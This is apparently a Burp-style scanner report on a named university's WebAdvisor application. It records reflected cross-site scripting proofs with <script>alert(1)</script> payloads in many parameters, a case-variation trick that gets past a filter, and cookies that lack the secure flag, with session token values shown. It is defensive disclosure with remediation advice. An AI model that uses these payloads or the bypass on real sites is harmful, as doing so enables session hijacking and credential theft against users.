Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the WEB request parameter is copied into the HTML document as plain text between tags. The payload e7c0a<script>alert(1)</script>915f76a7096 was submitted in the WEB parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Mon, 26 Dec 2011 01:42:01 GMT Pragma: no-cache Cache-Control: no-cache;no-store Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 1127
<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'><html><head><title>Colleague Help - Error</title><link rel='stylesheet' type='text/css' href='./st ...[SNIP]... </span>'type' parameter must be specified -- URL: https://webadvisor3.champlain.edu/WebAdvisor/WALIVEHELP?TOKENIDX=5105087831&WEB=Ye7c0a<script>alert(1)</script>915f76a7096&type=P568df%3Cscript%3Ealert(/XSS/)%3C/script%3Eb3e1b00607c&pid=ST-WESTS12A&constituency=WBAD&username=xsss&type=xss</div> ...[SNIP]...
The value of the constituency request parameter is copied into the HTML document as plain text between tags. The payload 776a1<script>alert(1)</script>f7df4293bc9 was submitted in the constituency parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Mon, 26 Dec 2011 01:42:02 GMT Pragma: no-cache Cache-Control: no-cache;no-store Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 1127
<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'><html><head><title>Colleague Help - Error</title><link rel='stylesheet' type='text/css' href='./st ...[SNIP]... ust be specified -- URL: https://webadvisor3.champlain.edu/WebAdvisor/WALIVEHELP?TOKENIDX=5105087831&WEB=Y&type=P568df%3Cscript%3Ealert(/XSS/)%3C/script%3Eb3e1b00607c&pid=ST-WESTS12A&constituency=WBAD776a1<script>alert(1)</script>f7df4293bc9&username=xsss&type=xss</div> ...[SNIP]...
1.3. https://webadvisor3.champlain.edu/WebAdvisor/WALIVEHELP [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://webadvisor3.champlain.edu
Path:
/WebAdvisor/WALIVEHELP
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 5e692<script>alert(1)</script>e9b8cc2d303 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Mon, 26 Dec 2011 01:42:03 GMT Pragma: no-cache Cache-Control: no-cache;no-store Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 1130
<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'><html><head><title>Colleague Help - Error</title><link rel='stylesheet' type='text/css' href='./st ...[SNIP]...
The value of the pid request parameter is copied into the HTML document as plain text between tags. The payload 72f5c<script>alert(1)</script>4083b53a378 was submitted in the pid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Mon, 26 Dec 2011 01:42:02 GMT Pragma: no-cache Cache-Control: no-cache;no-store Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 1127
<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'><html><head><title>Colleague Help - Error</title><link rel='stylesheet' type='text/css' href='./st ...[SNIP]... 'type' parameter must be specified -- URL: https://webadvisor3.champlain.edu/WebAdvisor/WALIVEHELP?TOKENIDX=5105087831&WEB=Y&type=P568df%3Cscript%3Ealert(/XSS/)%3C/script%3Eb3e1b00607c&pid=ST-WESTS12A72f5c<script>alert(1)</script>4083b53a378&constituency=WBAD&username=xsss&type=xss</div> ...[SNIP]...
The value of the type request parameter is copied into the HTML document as plain text between tags. The payload 568df<script>alert(1)</script>b3e1b00607c was submitted in the type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:24:32 GMT Pragma: no-cache Cache-Control: no-cache;no-store Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 1061
<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'><html><head><title>Colleague Help - Error</title><link rel='stylesheet' type='text/css' href='./st ...[SNIP]... </span>'type' parameter must be specified -- URL: https://webadvisor3.champlain.edu/WebAdvisor/WALIVEHELP?TOKENIDX=5105087831&WEB=Y&type=P568df<script>alert(1)</script>b3e1b00607c&pid=ST-WESTS12A&constituency=WBAD&username=</div> ...[SNIP]...
The value of the username request parameter is copied into the HTML document as plain text between tags. The payload 6cb5b<script>alert(1)</script>7cbcb6d3430 was submitted in the username parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Mon, 26 Dec 2011 01:42:02 GMT Pragma: no-cache Cache-Control: no-cache;no-store Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 1127
<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'><html><head><title>Colleague Help - Error</title><link rel='stylesheet' type='text/css' href='./st ...[SNIP]... ed -- URL: https://webadvisor3.champlain.edu/WebAdvisor/WALIVEHELP?TOKENIDX=5105087831&WEB=Y&type=P568df%3Cscript%3Ealert(/XSS/)%3C/script%3Eb3e1b00607c&pid=ST-WESTS12A&constituency=WBAD&username=xsss6cb5b<script>alert(1)</script>7cbcb6d3430&type=xss</div> ...[SNIP]...
The value of the LIST.VAR1_1 request parameter is copied into the HTML document as plain text between tags. The payload c5c33<script>alert(1)</script>58d330fc02 was submitted in the LIST.VAR1_1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:25:38 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40902
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">C5C33<SCRIPT>ALERT(1)</SCRIPT>58D330FC02 is not a valid code.</div> ...[SNIP]...
The value of the LIST.VAR1_2 request parameter is copied into the HTML document as plain text between tags. The payload 59fb5<script>alert(1)</script>aa7522a3b2f was submitted in the LIST.VAR1_2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:26:12 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">59FB5<SCRIPT>ALERT(1)</SCRIPT>AA7522A3B2F is not a valid code.</div> ...[SNIP]...
The value of the LIST.VAR1_3 request parameter is copied into the HTML document as plain text between tags. The payload 59d91<script>alert(1)</script>adc91b3e216 was submitted in the LIST.VAR1_3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:26:47 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">59D91<SCRIPT>ALERT(1)</SCRIPT>ADC91B3E216 is not a valid code.</div> ...[SNIP]...
The value of the LIST.VAR1_4 request parameter is copied into the HTML document as plain text between tags. The payload cdcc4<script>alert(1)</script>16939ab502c was submitted in the LIST.VAR1_4 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:27:21 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">CDCC4<SCRIPT>ALERT(1)</SCRIPT>16939AB502C is not a valid code.</div> ...[SNIP]...
The value of the LIST.VAR1_5 request parameter is copied into the HTML document as plain text between tags. The payload a2ed3<script>alert(1)</script>62627d676eb was submitted in the LIST.VAR1_5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:27:53 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">A2ED3<SCRIPT>ALERT(1)</SCRIPT>62627D676EB is not a valid code.</div> ...[SNIP]...
The value of the LIST.VAR2_1 request parameter is copied into the HTML document as plain text between tags. The payload de385<script>alert(1)</script>ea7519a77c7 was submitted in the LIST.VAR2_1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:25:44 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">DE385<SCRIPT>ALERT(1)</SCRIPT>EA7519A77C7 is not a valid code.</div> ...[SNIP]...
The value of the LIST.VAR2_2 request parameter is copied into the HTML document as plain text between tags. The payload 756f5<script>alert(1)</script>095fc439020 was submitted in the LIST.VAR2_2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:26:19 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">756F5<SCRIPT>ALERT(1)</SCRIPT>095FC439020 is not a valid code.</div> ...[SNIP]...
The value of the LIST.VAR2_3 request parameter is copied into the HTML document as plain text between tags. The payload 77c1d<script>alert(1)</script>b436854e0f4 was submitted in the LIST.VAR2_3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:26:53 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">77C1D<SCRIPT>ALERT(1)</SCRIPT>B436854E0F4 is not a valid code.</div> ...[SNIP]...
The value of the LIST.VAR2_5 request parameter is copied into the HTML document as plain text between tags. The payload 7e0dc<script>alert(1)</script>ee4ead80fa3 was submitted in the LIST.VAR2_5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:27:59 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">7E0DC<SCRIPT>ALERT(1)</SCRIPT>EE4EAD80FA3 is not a valid code.</div> ...[SNIP]...
The value of the VAR21 request parameter is copied into the HTML document as plain text between tags. The payload 429d9<script>alert(1)</script>8c584aae9c8 was submitted in the VAR21 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:28:58 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">429D9<SCRIPT>ALERT(1)</SCRIPT>8C584AAE9C8 is not a valid code.</div> ...[SNIP]...
The value of the VAR6 request parameter is copied into the HTML document as plain text between tags. The payload 4f0da<script>alert(1)</script>5e0f843aeba was submitted in the VAR6 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:28:51 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">4F0DA<SCRIPT>ALERT(1)</SCRIPT>5E0F843AEBA is not a valid code.</div> ...[SNIP]...
The value of the VAR7 request parameter is copied into the HTML document as plain text between tags. The payload a6ef1<script>alert(1)</script>5e00612fed9 was submitted in the VAR7 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:28:26 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">A6EF1<SCRIPT>ALERT(1)</SCRIPT>5E00612FED9 is not a valid code.</div> ...[SNIP]...
The value of the VAR8 request parameter is copied into the HTML document as plain text between tags. The payload df561<ScRiPt>alert(1)</ScRiPt>9d0128bb4e6 was submitted in the VAR8 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:28:35 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 5105087831=94076855*Y*267895500211009 Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=5105087831 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 40903
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Search for Sections</title> <meta http-equiv="Content-Type" conten ...[SNIP]... <div class="errorText">DF561<SCRIPT>ALERT(1)</SCRIPT>9D0128BB4E6 is not a valid code.</div> ...[SNIP]...
2. SSL cookie without secure flag setpreviousnext There are 9 instances of this issue:
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The following cookies were issued by the application and do not have the secure flag set:
LASTTOKEN=67029956
5105087831=8667851958*Y*071964395172748
67029956=3457500272*Y*
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.0 200 OK Date: Sun, 25 Dec 2011 21:43:22 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: 5105087831=8667851958*Y*071964395172748 Set-Cookie: 67029956=3457500272*Y* Set-Cookie: LASTTOKEN=67029956 Content-Type: text/html;charset=utf-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the secure flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=5946126490
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
5946126490=638895012*Y*
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the secure flag set:
LASTTOKEN=5169994760
5105087831=8667851958*Y*071964395172748
5169994760=9226169704*Y*375964098772045
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.0 200 OK Date: Sun, 25 Dec 2011 21:43:22 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: 5105087831=8667851958*Y*071964395172748 Set-Cookie: 5169994760=9226169704*Y*375964098772045 Set-Cookie: LASTTOKEN=5169994760 Content-Type: text/html;charset=utf-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>WebAdvisor Main Menu</title> <meta http-equiv="Content-Type" conte ...[SNIP]...
The following cookies were issued by the application and do not have the secure flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=3011616271
3011616271=709290742*Y*
5105087831=94076855*Y*036391046531345
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the secure flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=5308657332
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
5308657332=6882639554*Y*447649997081328
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Enter a Purchase Order</title> <meta http-equiv="Content-Type" con ...[SNIP]...
The following cookies were issued by the application and do not have the secure flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=2355598656
2355598656=6367089651*Y*
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the secure flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=1060158488
1060158488=129443184*Y*
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:23:38 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 1060158488=129443184*Y* Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=1060158488 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 439
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the secure flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=2853403096
2853403096=563418684*Y*
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
